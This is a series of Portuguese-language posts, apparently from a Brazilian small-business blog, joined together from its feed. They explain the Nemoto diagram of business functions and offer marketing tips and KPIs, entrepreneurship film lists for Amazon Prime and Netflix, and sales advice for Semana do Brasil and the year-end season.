Com este nível de detalhamento, ao iniciar um negócio, muitos empresários tornam-se responsáveis por todas as etapas do processo. Fazendo eles mesmos as atividades necessárias, muitas das quais já sabiam ser necessárias e outras descobertas durante as primeiras épocas do negócio. Isso aconteceu com você?
Isso é muito comum e acontece pela falta de conhecimento e acesso ao Diagrama de Nemoto.
Também é comum que, mesmo quando existe conhecimento, ele seja superficial.
É claro que você como proprietário e envolvido anos no negócio sabe bem o que é cargo e função. Porém, é muito importante que você enxergue com a visão de Nemoto.
Esta leitura, em última instância, é o que permite ao empresário de uma pequena empresa conhecer o negócio de ponta a ponta.
À medida em que ele identifica as tarefas recorrentes em seu processo, passa a ter a ideia exata da quantidade de tempo que precisa ser dedicado a cada uma. E com isso, à necessidade de pessoas para que o processo gere o resultado planejado.
Cada pessoa considerada no processo desempenhará uma FUNÇÃO necessária a ele. Esta função é, por definição, OPERACIONAL, rotineira, pois é executada diversas vezes, com o propósito de gerar o mesmo resultado a cada vez. Como você pode ver, neste momento não há definição de CARGOS.
Agora você já sabe como foi estruturado o diagrama e as divisões entre cargo e função vou explicar melhor como isso funciona na prática:
Em qualquer empresa, seja de que porte for, existem 4 funções básicas:
1- Direção
2- Gerenciamento
3- Supervisão
4- Operação
A primeira função – DIREÇÃO – é, literalmente, fundamental. Sem ela, o negócio caminha sem rumo, sem um objetivo, um resultado a perseguir. Definir o resultado a ser alcançado é uma necessidade básica de qualquer negócio.
A função GERENCIAMENTO é a que se encarrega de traduzir as metas definidas pela primeira função em uma tática para alcance dos resultados propostos. Ou seja, é a função que diz COMO o resultado será alcançado.
Dentre as atribuições da função gerenciamento está a definição do processo mais eficaz para obtenção do resultado planejado, identificando cada uma de suas etapas, o resultado desejado por cada uma e o tempo necessário para isso.
É responsabilidade da função SUPERVISÃO garantir que o processo seja realizado sempre da mesma forma, independente de seu tamanho, nível de complexidade ou duração.
É esta função que assegura a continuidade do processo, atuando, quando necessário, para solucionar qualquer problema imediato.
A 4ª função, OPERAÇÃO, é a que de fato realiza a entrega, transformando uma matéria prima em produto, executando as atividades necessárias à realização de um serviço ou à venda de um artigo.
É possível verificar a existência de todas estas FUNÇÕES em qualquer empresa, independente do tamanho da organização. Lembre-se: estamos falando de funções. Não falamos nada ainda de pessoas.
Pra facilitar o entendimento do Diagrama de Nemoto, imagine uma empresa de uma só pessoa. A empresa tem um objetivo no mercado?
Possui uma forma de entregar este resultado? Entrega sempre da mesma forma? Transforma uma matéria prima em um produto acabado ou realiza um serviço? Se você respondeu sim para todas as perguntas, esta empresa possui as quatro funções.
O que torna o exemplo curioso é o fato de uma mesma pessoa desempenhar todas as funções, dividindo seu tempo entre elas da forma que entende ser a mais eficiente na obtenção do resultado.
Agora, imagine que a empresa de uma só pessoa cresceu. O volume de negócios aumentou e o empresário precisou de ajuda para executar todas as tarefas necessárias, pois não consegue mais desempenhar todas as frentes sozinho.
Neste momento, este empresário precisa pensar em distribuir as tarefas entre as pessoas que irão ajuda-lo.
Algumas destas pessoas tem mais qualificação para uma parte do processo, enquanto outras realizam um trabalho mais focado em outras partes.
Assim, elas são distribuídas de acordo com a necessidade em cada etapa do processo.
À medida que a empresa cresce, mais pessoas passam a fazer parte da equipe, o que contribui para que surja, no processo, um certo grau de variabilidade, sob a forma de ocorrências com maior ou menor impacto no resultado final.
Neste momento, em função da dedicação totalmente voltada para a execução das atividades operacionais, fica difícil para os membros da equipe, mais ligados a uma etapa única do processo, adquirir uma visão mais ampla das demais etapas e identificar problemas no processo.
É preciso definir uma pessoa que passará a dedicar menos tempo à execução direta das tarefas e se ocupe da supervisão do processo como um todo. Atuando, quando necessário, para resolver problemas emergentes.
À medida em que se verifica o crescimento da empresa e, com ele, o crescimento da variabilidade do processo, torna-se necessária mais dedicação ao controle e à análise destas variabilidades, no intuito de garantir a entrega e o resultado do negócio.
Para isso, torna-se necessário que algumas pessoas, de acordo com sua qualificação, dediquem-se com mais afinco e por mais tempo à função de Gerenciamento, assegurando que o processo definido é realmente a melhor forma de se entregar o resultado planejado.
Estas pessoas, em última instância, também serão as responsáveis por consolidar os principais resultados para que a empresa tome suas decisões de curto, médio e longo prazo.
O contexto descrito pode se encaixar em inúmeras empresas, independente dos cargos existentes em cada uma delas. Porque CARGOS são os nomes dados às diferentes combinações de funções existentes em uma empresa. E dependem da proporção do tempo dedicado pelo funcionário ao exercício de cada função.
Um Líder de Equipe, por exemplo, pode ser aquele funcionário que dedica a maior parte do seu tempo a supervisionar os membros de sua equipe, garantindo que estes tenham todos os meios à disposição para entregar o que lhes foi solicitado.
De igual forma, um Gerente de Marketing pode ser aquele funcionário que dedicará a maior parte do seu tempo analisando os dados mais relevantes levantados pela equipe de marketing e vendas, com o objetivo de definir a melhor forma de se alcançar uma meta.
Como definir os cargos em uma empresa? Como devo chamar meu funcionário mais qualificado? Devo promovê-lo com base em sua dedicação ou com base em uma combinação de sua competência com os objetivos da empresa? Estes são questionamentos feitos diariamente pelo empresário, não é mesmo?
A resposta não depende somente da dedicação do funcionário, assim como não depende somente da estratégia da empresa. É uma combinação de fatores e deve refletir, em primeiro lugar, os objetivos planejados pela empresa.
Qual é o foco no período? Haverá um esforço focado em Aumento de Vendas? Redução de Custos? Melhoria da Produtividade? Ou todos estes juntos? A(s) pessoa(s) com maior responsabilidade na definição dos objetivos são os próprios empresários.
São necessários valores específicos, calculados criteriosamente com base na capacidade da empresa e com base no tamanho do desafio necessário em vista de um horizonte estratégico.
Ao estruturar o funcionamento da empresa para alcançar estes objetivos, será preciso definir pessoas-chave que terão responsabilidades específicas na condução da empresa ao alcance dos resultados estratégicos.
A identificação destas pessoas toma como base seu conhecimento do negócio, seu perfil (aderente ou não à cultura da empresa), sua capacidade de liderar uma equipe e sua capacidade de realizar análises de resultados. E promover discussões sobre o resultado da empresa com foco na identificação de medidas que possam contribuir para melhora-lo.
Estas pessoas devem dedicar a maior parte de seu tempo a função Supervisão e Gerenciamento, pois serão responsáveis pela manutenção da estabilidade do processo e pela tática utilizada para alcançar os resultados.
Segundo o Diagrama de Nemoto, os cargos precisam especificar aquele resultado pelo qual a pessoa em questão terá mais responsabilidade.
São vários os nomes que podem ser atribuídos à combinação destas funções: Supervisor de (Estabilidade de) Processo, Líder de Vendas, Gerente de Resultados Operacionais, Supervisor de Qualidade.
Os nomes mais comuns dados a cargos deste tipo são Gerente e Supervisor, na medida em que suas responsabilidades se concentram em, respectivamente, alcançar os resultados definidos como meta através de processos estáveis e controlar a estabilidade e o resultado do processo.
Como vimos, o Diagrama de Nemoto explica como as funções devem se comportar. Aqui cabe um parêntesis importante sobre a função Supervisão.
Na maioria das pequenas empresas, o cargo de coordenador ou mesmo gerente costuma soar como mais lógico e natural quando se pensa em um líder de equipe. Que fique responsável por garantir a realização das tarefas rotineiras.
No entanto, é preciso mais critério nesta definição, justamente para evitar frustrações. A função que garante a estabilidade dos processos e a execução das atividades rotineiras é a Supervisão.
Gerentes, de uma forma geral, costumam se envolver menos em tarefas operacionais, ao passo que supervisores conhecem estas tarefas no detalhe e sabem intervir quando necessário, gastando mais tempo na formação da equipe e na qualidade da operação.
Esta distinção pode parecer sutil, mas, na prática, faz toda a diferença e, normalmente, implica na incapacidade de o gerente conseguir se dividir entre a condução das atividades rotineiras com a equipe. E participar de discussões mais estratégicas e de análise de dados, que normalmente tomam muito tempo.
O resultado acaba sendo prejudicado por este gap de liderança que se instala entre sua equipe e a alta liderança da empresa.
Definidos os objetivos, a maior parte da equipe será dedicada à operação, afinal de contas é de onde vem o resultado.
A melhor forma de garantir que sua equipe seja plenamente consciente de sua importância no alcance de resultados, é garantindo que tenham ferramentas, treinamentos, procedimentos e informações disponíveis para realizar seu trabalho com qualidade.
Mais que isso, que consigam o suporte de um líder operacional, com função de supervisão, que lhes auxilie a controlar problemas operacionais, analisar eventuais ocorrências e identificar formas de reduzi-las ou mesmo elimina-las.
Dessa forma, sua equipe terá os meios para garantir o resultado planejado, conforme o princípio da Autoridade sobre os meios (processo) e da Responsabilidade sobre o resultado necessários a qualquer empresa.
Espero ter esclarecido sobre COMO aplicar o Diagrama de Nemoto para a realidade do seu negócio. Esse é um texto de grande profundidade e que requer pontos de atenção.
Portanto, leia quantas vezes for preciso pra entender melhorar como implementar na sua empresa as vertentes dessa ferramenta e deixe todas as suas dúvidas nos comentários que terei muito prazer em te ajudar! 
Veja também nosso artigo sobre o Diagrama de Ishikawa, basta clicar aqui!
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Sobretudo fico feliz que hoje até pequenas empresas ( como aquela padaria ou mercado de bairro) estão implementando algumas estratégias de marketing.
Mesmo sendo na maioria das vezes do modo tradicional (panfletos, jornais e etc), eles também conseguem obter resultados.
Todavia, isso é um grande sinal de que a concorrência está cada vez mais acirrada e qualificada, mas isso não é um novidade e muito menos um motivo de grande preocupação.
A realidade é que temos as condições mais do que favoráveis para tornar nossas empresas cada vez mais conhecidas em seu mercado de atuação.
Portanto o que não falta são estratégias, ferramentas, conteúdos, vídeos, tutoriais e artigos como este, para te direcionar e mostrar as possibilidades e o poder do Marketing.
Faça o download deste post inserindo seu e-mail abaixo
Essa precisa ser a primeira dica, principalmente se você busca destacar sua empresa na internet, seja nas mídias sociais, ou seu site/blog.
A maioria dos empresários tem uma frase na ponta da língua..
“Não tenho tempo para isso, ou para aquilo…”
Bom, sobre gestão de tempo e otimização de processos, temos outros artigos aqui em nosso blog como: Processos Produtivos , caso você tenha pensado nessa desculpa.
Portanto se você é um funcionário e trabalha com marketing, sabe da importância dessa busca incessante de conhecimento. Se manter atualizado é importantíssimo nessa profissão!
Outro ponto, são os testes dentro das estratégias previamente definidas.
Afinal, nunca uma versão, modelo ou texto irão funcionar para sempre.
Por isso devemos fazer os testes de cores, layout, vocabulário (copy) e etc. Tudo para que você continue melhorando as métricas, como sua conversão.
Crie um planejamento que esteja alinhado com a sua empresa e com seu público.
Para isso é preciso que os objetivos estejam claros para que as definições de estratégias e estudos posteriores do seu público se encaixem.
Para definir um planejamento da forma mais assertiva possível, você pode precisar da ajuda de um profissional nessa área, que tal dar uma olhada em nossa solução?!
Na dica anterior falamos sobre a definição de seus objetivos e o planejamento de marketing da sua empresa. Agora, a definição dos canais que você vai utilizar precisa estar de acordo com a sua persona principalmente.
“Vish! Minha persona?..”
Persona é um personagem fictício, que reflete os dados de clientes reais que você tem, criando o “cliente ideal”.
Ou seja, um estudo minucioso feito sobre seus clientes, para que você compreenda a complexidade e nuances do seu público.
Em qual rede social seu público mais interage?
O que seu público quer ver em seu feed?
Qual o modelo do conteúdo? Vídeo, texto, podcasts, etc.
Portanto, se sua empresa ainda está engatinhando no marketing é preciso dar um passo atrás e definir sua persona!
Você pode utilizar um blog;
Redes sociais como: Facebook, Instagram, LinkedIn, Youtube.
E-mail marketing sempre e creio que sempre será uma ótima estratégia de marketing.
Para sua implementação é preciso de um pouco mais de conhecimento, mas se você se esforçar e praticar se torna bem simples.
Agora se você quer aparecer no Google, você tem duas opções.
Tráfego pago – que neste caso indicaria você a procurar um profissional de marketing para te orientar pelo menos no início.
Tráfego orgânico – Neste temos o famoso SEO, que é a otimização de estratégias em seu site para melhorar o posicionamento no Google.
Certamente os KPIs são imprescindíveis para analisar os resultados de uma estratégia de marketing.
Mas para essa engrenagem funcionar é preciso ter indicadores muito bem definidos para que os resultados gerados sejam confiáveis.
Enfim, KPIs podem ser usados em outras áreas da sua empresa, basta adequá los aos processos daquele setor.
CAC
Custo de Aquisição do Cliente é o gasto total necessário para converter um cliente em potencial em um cliente efetivamente. Portanto o CAC inclui o custo do produto mais todos os outros custos – como pesquisa e marketing – gastos na atração de um cliente.
LTV
O valor de vida útil do cliente (LTV, Customer Lifetime Value) é uma métrica usada para prever o lucro que você gerará com seu relacionamento com seus clientes. É importante entender como isso está vinculado ao custo de aquisição do cliente.
Landing Pages
Outro KPI importante para o marketing digital é a taxa de conversão das landing pages, que é uma ótima ferramenta de marketing. Como uma página autônoma e distinta do site principal, ela é projetada em torno de um único objetivo.
Para ser eficaz, as landing pages devem facilitar as conversões. A ação que você deseja que o usuário faça deve ser evidente e sua mensagem clara. Em um ambiente de landing page, você pode limitar as opções para os visitantes e guiá-los para o objetivo pretendido.
Mídias Sociais
Existem algumas métricas importantes para rastrear. Uma medida adequada para o seu alcance de mídia social permite que você mostre a eficácia de sua presença nas redes sociais.
Enfim, pensei em indicar algumas ferramentas de marketing digital que serve tanto para quem está iniciando ou para quem está procurando outra ferramenta para implementar em uma nova estratégia.
Portanto segue a lista!
As ferramentas que são mais utilizadas hoje em dia no marketing digital são:
Email marketing: Hubspot, mailchimp e RD Station.
Anúncios: No facebook: Gerenciador de anúncios FB / No Google: Google Ads
Palavras-chave: google trends e keyword planner.
SEO: google search console, plugins como yoast (somente no wordpress).
Métricas e Dados: Google Analytics
Site: WordPress.
Landing Pages: Elementor (plugin wordpress), RD Station.
Gerenciamento de redes sociais: Mlabs, Estúdio de criação (facebook).
Se sim, clique aqui e marque agora sua consulta com um de nossos especialistas de Marketing!
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Aproveitando o lançamento da Amazon Prime no Brasil, por incríveis R$9,90 ao mês, resolvemos fazer esse artigo elencando 7 filmes e séries que todo empreendedor deve assistir na Amazon Prime.
Afinal, empreendedor que é empreendedor não para e até nos momentos de lazer quer aprender algo novo para se desenvolver e colocar em prática na empresa.
Neste artigo vamos apresentar alguns conteúdos bem interessantes que a plataforma Prime Vídeo nos oferece.
Logo após entrar na plataforma você percebe que tem muitos filmes, séries e documentários. Alguns não são tão atuais mas, com certeza você descobrirá conteúdos interessantes!
Portanto criei uma lista de filmes e séries sobre empreendedorismo e tecnologia para compartilhar aqui com vocês, espero que gostem!
Começaremos com a única série de nossa lista.

Face a Face
Essa série contém 8 episódios até então, com certeza é uma das séries mais interessantes do catálogo.
Em cada episódio é apresentado um duelo de empresas ou personalidades de relevância no mercado mundial.
Durante o episódio é apresentada a história de cada lado do duelo, e como a rivalidade foi moldada com o tempo e com as mudanças de mercado.
Se você gosta de saber como funciona a rivalidade no mercado em nível internacional essa série é para você!

Walt before Mickey
Esse filme é baseado na única biografia aprovada pela família Disney!
Ambientado entre 1919 e 1928, o filme revive o período mais desafiador da vida de Walt. Simultaneamente mostrando a evolução do cinema e da tecnologia!
Uma história e tanto para um empreendedor que mudou o entretenimento e o cinema mundial.
Mesmo sendo um filme ambientado no século passado é possível tirar lições e insights desse belo filme.

Mark Zuckerberg
Esse filme/Documentário apresenta uma abordagem diferente do filme A Rede Social.
No filme A Rede Social, existe um enredo e personagens na história.
Já nesse documentário a abordagem é mais jornalística, contendo entrevistas com pessoas que conviveram com o Mark Zuckerberg.
Embora tenha sido produzido em 2011 com 55 minutos de duração, essa talvez seja uma boa alternativa para quem deseja saber sobre o criador do Facebook!

Bill Gates
Esse filme/documentário segue a mesma linha do anterior citado.
Com a mesma abordagem jornalística, recheadas de entrevistas com objetivo de contar mais sobre o lado pessoal de Bill Gates.
Também foi produzido em 2011 com 47 minutos de duração.
Vale a pena Assistir!

Steve Jobs
Mais um filme do Prime Vídeo que segue a mesma linha de abordagem jornalística dos anteriores porém agora é a vez de Steve Jobs.
Mais uma personalidade que dispensa apresentações, o filme também foi produzido em 2011 e tem duração de 46 min.
Portanto para quem é fã de tecnologia, empreendedorismo e inovação estará satisfeito com o Prime Vídeo!

Os Estagiários
Talvez esse filme seja um apêndice desta lista por se tratar de um filme de comédia.
Mas garanto que esse filme é bastante interessante, pois demonstra a dificuldade de pessoas que sentiram na pele a revolução que a tecnologia e a inovação trouxeram para o mercado de trabalho.
Além de apresentar mesmo que de forma fictícia um processo seletivo de uma grande empresa de tecnologia como a Google.
Para quem deseja algo interessante e leve, essa é a melhor opção!

O homem que mudou o jogo
Filme estrelado por nada mais nada menos que Brad Pitt, conta a história de um gerente geral de um time Beisebol.
No filme é representada a dificuldade dos times de menor poder aquisitivo alcançar um destaque na liga.
Com isso, vem o insight Billy Beane (Brad Pitt), integrar um sistema de computador para auxiliar em suas contratações para próxima temporada.
Ótimo filme! Recomendo!
Enfim, chegamos ao final da nossa lista!
A guerra das plataformas de Streaming ganhou mais um capítulo essa semana. Amazon Prime no Brasil!
Todavia, com esse acontecimento surgem muitas dúvidas:
O que acontece com os clientes do prime-vídeo e outros serviços?
Qual o valor do Amazon Prime?
O que esse pacote tem a oferecer?
O que a Netflix e outras plataformas vão fazer agora?
Enfim, todas as respostas em nosso artigo! Vamos lá!
O Amazon Prime certamente chegou com objetivo de entregar muito mais do que só um serviço de Streaming!
Esse pacote inclui o serviço Prime Vídeo (séries e filmes), a Músic Unlimited, Prime Reading, Twitch Prime.
E não para por ai!
Além desses serviços, você terá direito a frete grátis ilimitado no site da Amazon!!
Para finalizar, ainda terá ofertas exclusivas para os assinantes.
E a cereja do bolo é o preço, custa apenas R$9,90 por mês ou R$89,00 no pacote anual!!
Incrível né?!
Agora, sobre os já assinantes do Prime Vídeo podem ficar tranquilos!
Os assinantes pagavam R$ 7,90 por mês nos 6 primeiros meses e depois o valor aumentaria para R$ 14,90.
Com a chegada do Amazon Prime, todos serão migrados para esse pacotão com o valor fixado já mencionado aqui anteriormente.
Um adendo, para quem já pagou R$ 14,90, será ressarcido a diferença de (R$ 5,00) em sua próxima fatura!
Para quem ainda não é assinante de nenhum desses serviços você tem a possibilidade de experimentar por 30 dias grátis!
Enfim, agora é aproveitar a guerra das plataformas de Streaming!
Todas tem seus pontos fortes e fracos, e com certeza em breve teremos novidades.
Portanto se gostou do nosso artigo, compartilhe ele com um amigo!
Se você é assinante da Netflix, veja nosso artigo “Netflix – Filmes e Séries sobre empreendedorismo“
Até a próxima!
O post Tudo sobre o Amazon Prime + Dicas apareceu primeiro em Meu Gestor.
]]>O post Semana do Brasil, 7 dicas para bombar suas vendas apareceu primeiro em Meu Gestor.
]]>O objetivo da Semana do Brasil é seguir os moldes da famosa Black Friday mas com duração maior! Com oportunidades de boas compras e boas vendas.
Setembro é conhecido por ser um mês muito “parado” por não ter nenhuma data que estimule o consumo. Com essa campanha o governo tem como objetivo reverter esse quadro e ainda reforçar o patriotismo.
Várias redes de varejo nacionais já confirmaram que vão participar e você também não deve perder essa oportunidade!
Para aproveitar ao máximo siga nossas dicas.
Para começar o ideal é entender a fundo o que será a Semana do Brasil e qual a identidade visual da campanha.
Para isso o primeiro passo é baixar o manual e mídia kit no site do governo neste link.
Após estudar e ver quais as cores e materiais padrão você optou para o seu cliente identificar que você está na Semana Brasil, partimos para a próxima dica.
Toda promoção tem que ter um objetivo, é muito comum, em especial em iniciantes, que sejam feitas promoções sem um objetivo definido apenas “por fazer”.
Esse erro não deve ser cometido, apesar de ser uma campanha nacional de desconto é muito importante que você defina qual o seu objetivo com ela.
Por exemplo, você está organizando uma campanha promocional com qual finalidade? Vender os produtos que estão parados no estoque? Chamar novos clientes? Lançar uma nova coleção de algo? Ganhar publicidade? Alavancar a venda de outros produtos que não estão na promoção?
Enfim, existem diversos objetivos que podem ser definidos, agora o que não pode é não ter um objetivo para chamar de seu.
Definido o seu objetivo o próximo passo é definir uma meta.
Não adianta apenas colocar, “Vender os produtos parados”, mas tem que colocar qual o percentual do estoque parado quer vender! É 100%, é 90%, enfim tem que ter uma meta.
Se for para atrair novos clientes, quantos novos clientes para o período?
A meta é tão importante quanto o objetivo pois é ela que vai lhe mostrar se a promoção foi um sucesso como esperado.
E como toda meta tem que ter um prazo, defina que a sua meta deve ser atingida até o final da Semana do Brasil, dia 15/09.
Não adianta fingir que está fazendo promoção não! É importante realmente agregar valor aos produtos que estão sendo vendidos na promoção.
O seu cliente não pode se sentir lesado ou enganado, ele tem que ter uma percepção de valor na compra e no serviço oferecido para querer retornar ao seu estabelecimento e fazer novas compras.
Dessa forma você não conquista só a venda mas também conquista o cliente.
Liquidez é a facilidade para transformar um produto em estoque em dinheiro sem que tenha perdas significativas em seu valor. No caso de uma empresa, é a capacidade de vender as mercadorias para gerar faturamento.
O estoque parado produz exatamente a situação contrária: você precisou comprar produtos e insumos, utilizou o dinheiro da empresa ou o seu para essa finalidade. Mas tem dificuldade em obter o retorno esperado.
Sem essa liquidez, a empresa pode enfrentar grandes dificuldades.
O principal transtorno é a falta de caixa para pagar fornecedores, funcionários e impostos. Levando as empresas ao próximo problema: o endividamento.
Nos varejos de moda a situação é pior! Pois roupas de estações passadas acabam ficando obsoletas e quase impossível de serem vendidas.
Essa é uma ótima oportunidade para acabar com esse estoque parado e gerar dinheiro no seu caixa para a compra de novos produtos e quitação de compromissos.
Selecione produtos que estão parados no seu estoque e os coloque em destaque na loja com grandes descontos.
O ideal é que esses preços fiquem um pouco acima do preço de custo! Mas em algumas situações, dependendo do tempo que o produto está parado em estoque o preço pode estar menor que o preço de custo!
É melhor ter esse dinheiro em caixa que o produto parado em estoque.
Afinal se uma roupa da estação passada não vendeu, na estação passada, porque vai vender agora fora de uma promoção?
Manter um consumidor é muito mais barato do que conquistar novos. E a melhor parte disso é que o cliente que é fiel à sua loja voltará a fazer compras periodicamente. Sempre em busca de novos produtos ou para substituir os antigos.
Que tal aproveitar e divulgar para os seus clientes fiéis que vai participar da Semana do Brasil em primeira mão! Antes mesmo de divulgar com as campanhas de marketing, redes sociais ou enfeite da loja?
Ele vai se sentir super importante e reconhecido e quem sabe pode aproveitar para comprar aquele produto que ele estava adiando a um tempo.
Há também aqueles consumidores que se interessam por sua loja, mas não compram nela há algum tempo! Por desconhecimento, por falta de oportunidade, ou por alguma outra razão pessoal.
Para reativar a conversa com esse público, vale a pena o envio de um e-mail oferecendo um vale-presente para a Semana do Brasil. Assim, mostra que a loja sentiu sua falta e que ele é um cliente importante.
Desse modo, ele tem grandes chances de retornar o quanto antes, e de até mesmo aproveitar o benefício para tomar uma decisão de compra!
Que estava levando em consideração, mas ainda não havia se decidido.
Então é isso, espero que tenha gostado das nossas dicas! Aproveite ao máximo a Semana do Brasil, fazendo grandes vendas.
Se tiver dúvidas e quiser uma ajudinha, nós podemos lhe ajudar, nossa solução tem os melhores consultores para lhe ajudar a tirar o melhor proveito da Semana do Brasil clique aqui para saber mais.
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]]>O post Filmes de empreendedorismo Netflix apareceu primeiro em Meu Gestor.
]]>Que o Netflix tem muitos filmes e séries isso todo mundo sabe.
Séries então nem se fala: La Casa de Papel, Stranger Things
, O Mecanismo, Narcos, entre outras. Mas como podemos também consumir conteúdo prático e educativo na plataforma?
Para te ajudar e direcionado aos seus desafios no negócio, resolvi fazer uma lista com os melhores conteúdos, na minha opinião, disponíveis no Netflix (2020) e que tem como temática o empreendedorismo.
Pois com a falta de tempo e a correria nada como, além de assistir um filme e relaxar, aprender lições valiosas sobre a gestão do seu negócio! Então prepare a pipoca e bora gastar umas madrugas do fim de semana aprendendo a melhorar a empresa.

A Rede Social
Como não começar uma lista de respeito de 7 filmes e Séries disponíveis no Netflix sobre empreendedorismo sem falar de Mark Zuckerberg?!
Pode até ser que com os atuais acontecimentos sua popularidade tenha diminuído, até porque ele nunca foi um cara carismático. Mas analisando a figura como um todo, temos que dar o braço a torcer.
Zuckerberg conseguiu revolucionar o modo como interagimos no mundo digital de uma forma avassaladora!
Para quem ainda não assistiu esse filme, eu recomendo que vá assistir o quanto antes, pois com toda certeza Mark Zuckerberg é uma das figuras mais importantes no setor de tecnologia e inovação!
Temos muito que aprender com sua história, e claro, refletir sobre o modo que utilizamos nossas redes sociais hoje em dia! Qual sua finalidade?!

O menino que descobriu o vento
Sempre esforçando-se para adquirir conhecimentos cada vez mais diversificados, um jovem de Malawi se cansa de assistir todos os colegas de seu vilarejo passando por dificuldades e começa a desenvolver uma inovadora turbina de vento.
The Boy Who Harnessed the Wind é um filme de drama britânico de 2019, dirigido e estrelado por Chiwetel Ejiofor em sua estreia como diretor. O filme é baseado no livro de memórias The Boy Who Harnessed The Wind, de William Kamkwamba e Bryan Mealer.
“No fim das contas, Fome de Poder é pouco mais do que um lembrete vazio, como se precisássemos de mais um, de que o vencedor leva tudo e que a integridade, nem sempre, é a chave do sucesso.” Isso é o que diz o Washigton Post, nesta crítica!”
Realmente a história não tem flores e purpurina, mas sim uma dose de cinismo e crueldade!
Este filme, conta a história da rede de Fast Food McDonald’s! E como Raymond Kroc um empreendedor que se uniu aos irmão Mcdonald’s acaba tomando o controle da empresa criada por eles.
Apesar desse ponto inescrupuloso, é importante destacar a inovação que os irmãos criaram para o setor de alimentos e como essa revolução envolveu Processos, Padrões e Rotinas, pontos imprescindíveis para a previsibilidade e estabilidade necessárias para o sucesso do negócio.
Vale muito a pena assistir e por isso já entra como número 2 nessa lista. Clique aqui para ter acesso a esse filme.

O código Bill Gates
Em uma jornada pela mente de Bill Gates, descubra quem o influenciou e quais são as metas que o bilionário ainda pretende alcançar!
O que passa na cabeça de Bill Gates? Como é a vida de um dos homens mais bem sucedidos do mundo? Perguntas como estas podem intrigar. Sem dúvidas, este é um homem extremamente inteligente, podemos até dizer, um gênio.
Dividido em três episódios de aproximadamente 50 minutos, presenciamos um balanço sobre a vida de Gates.
Também a cada episódio, é mostrado uma iniciativa feita pela Fundação filantrópica Bill e Melinda Gates, fundada em 2000.

Jóias Brutas
Nova York, primavera de 2012. Howard Ratner (Adam Sandler) é o dono de uma loja de joias, que está repleto de dívidas. Sua grande chance em quitar a situação é através da venda de uma pedra não lapidada enviada diretamente da Etiópia, cheia de minerais preciosos. Inicialmente Howard a oferece ao astro da NBA Kevin Garnett, um de seus clientes assíduos, mas depois resolve que conseguirá faturar mais caso ela vá a leilão. Para tanto, precisa driblar seus cobradores e a própria confusão que cria a partir de suas constantes mudanças.

Billions
Billions é uma série sobre o mercado de capitais, poder e política.
Essa série retrata elementos do cotidiano dos grandes negócios, conteúdo que não estamos habituados a assistir nas demais criações desse segmento.
Billions se baseia nos dois principais personagens que são: Chuck Rhode e Bobby Axerold. O primeiro é um “Procurador” (US Attorney) e o segundo é um gestor de de um fundo bilionário fundo de investimentos.
A partir desse enfrentamento constante desses dois personagens, a história engloba vários outros aspectos e personagens igualmente intrigantes e de personalidade forte.
Entre espionagem e subornos do lado obscuro do mercado financeiro, existe os conflitos éticos de quem fiscaliza o setor, ocasionando em parcerias, negócios e investigações recheadas de intrigas, favores e dinheiro.
Com toda certeza, Billions é uma série que surpreende com sua trama! Assista!

Suits
Suits é uma série que atualmente conta com 8 temporadas, e se torna cada vez mais intensa e intrigante!
A série se ambienta em Nova York em um escritório de advocacia, mas não se enganem! A série não é nem um pouco burocrática!
O dia a dia desse escritório revela como o mundo corporativo está atrelado ao mundo jurídico e quais as consequências dessa conexão. Durante as temporadas, a história evolui de uma forma bastante controversa, causando grandes reflexões em alguns momentos.
Outro fator bastante explorado em Suits é como são feitas parcerias e negócios de grande porte!
Como ninguém gosta de spoilers, paro por aqui! E espero que você dê uma chance a essa série, pois com certeza valerá a pena!

House of Cards
A mundialmente famosa série sobre política e poder fornece algumas doses do que não fazer, mas também mensagens importantes sobre liderança e networking.
Se deixarmos de lado o perfil antiético e inescrupuloso de Frank Underwood (Kevin Spacey). O protagonista de House Of Cards pode ser uma fonte de inspiração para os treinamentos de lideranças.
Obstinado, Frank revela como relacionamentos e Networking são fundamentais na sua jornada para conquistar o cargo de presidente do Estados Unidos. E isso se aplica em um ambiente corporativo e empresarial, não acha?
Lógico que não da mesma forma, no entanto existem pontos importantes de convergência.
Conscientes de onde querem chegar e do que precisam para conseguir isso, acima de tudo os líderes devem estar preparados para encontrar aliados, pessoas a quem possam recorrer para seguir adiante e com quem possam contar em momentos de maior dificuldade e exigência.
E essas são realidades do dia a dia do empreendedor, assim, não poderia deixar de fora House of Cards.

Silicon Cowboys
Em 1982, três amigos do Texas lançaram o computador portátil Compaq, uma tecnologia que logo os levou à batalha conta a IBM, uma das companhias de tecnologia mais poderosas do mundo que acaba com todos os seus concorrentes. O documentário conta sobre a Compaq, um concorrente improvável que alterou o futuro da computação e ajudou a moldar o mundo como conhecemos hoje.
O documentário Silicon Cowboys conta a história desses três amigos, Rod Canion, Bill Murto e Jim Harris, desde o início da Compaq, em 1981. Mostra quais foram as grandes inovações e sacadas do trio, como deixar seus equipamentos compatíveis com a tecnologia da IBM.
Enfim esses são os Filmes de empreendedorismo Netflix, que recomendamos para quem almeja criar seu próprio negócio!
Portanto vale muito a pena conferir essa lista! E aproveitar um fim de semana na frente do Netflix curtindo e aprendendo!
Deixe também a sua lista aqui nos comentários, vai ser super legal discutirmos sobre isso 
Estaremos atualizando esse post sempre que haver mudanças na grade!
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]]>O post Como Aumentar as Vendas de Fim de Ano na sua Empresa apareceu primeiro em Meu Gestor.
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O que mais ouvimos nesse período do ano é “agora no fim de ano o meu foco é 100% em vendas”, o que é bastante pertinente já que nesse período – principalmente para o varejo – as vendas aceleram. A grande pergunta que faço é “você vende mais, porque o período é melhor, ou você realmente deseja aumentar as vendas de fim de ano na sua empresa de forma estruturada, que permite que esse aumento acompanhe seu negócio ao longo de todo ano?”
Pode ficar tranquilo, trouxe para você algumas dicas de como se planejar e garantir que sua empresa passará por este período com o mínimo de stress e o máximo de bons resultados. São elas:
1- Entender sua sazonalidade
2- Estabelecer meta para aumentar as vendas de fim de ano
3- Controlar estoque
4- Programar suas compras e controlar a entrega de seus fornecedores
5- Garantir o bom atendimento
Resumidamente, é preciso ter PLANEJAMENTO e GARANTIR a execução dele.
Normalmente, as vendas de toda empresa comportam-se de uma forma mais ou menos repetitiva ao longo dos anos. Chamamos esse comportamento de Sazonalidade.
Para determinados segmentos de empresa, os meses de maior venda estão ligados a datas comemorativas, para outros, ao período escolar. Para algumas indústrias, varia de acordo à estação climática do ano.
Esta sazonalidade se repete a cada ano e é fundamental conhecê-la, pois terá impacto direto sobre seu planejamento de estoque. Todo negócio precisa estar preparado para fornecer seu produto no momento de maior demanda. Caso contrário, corre o risco de perder clientes e enfrentar problemas financeiros.
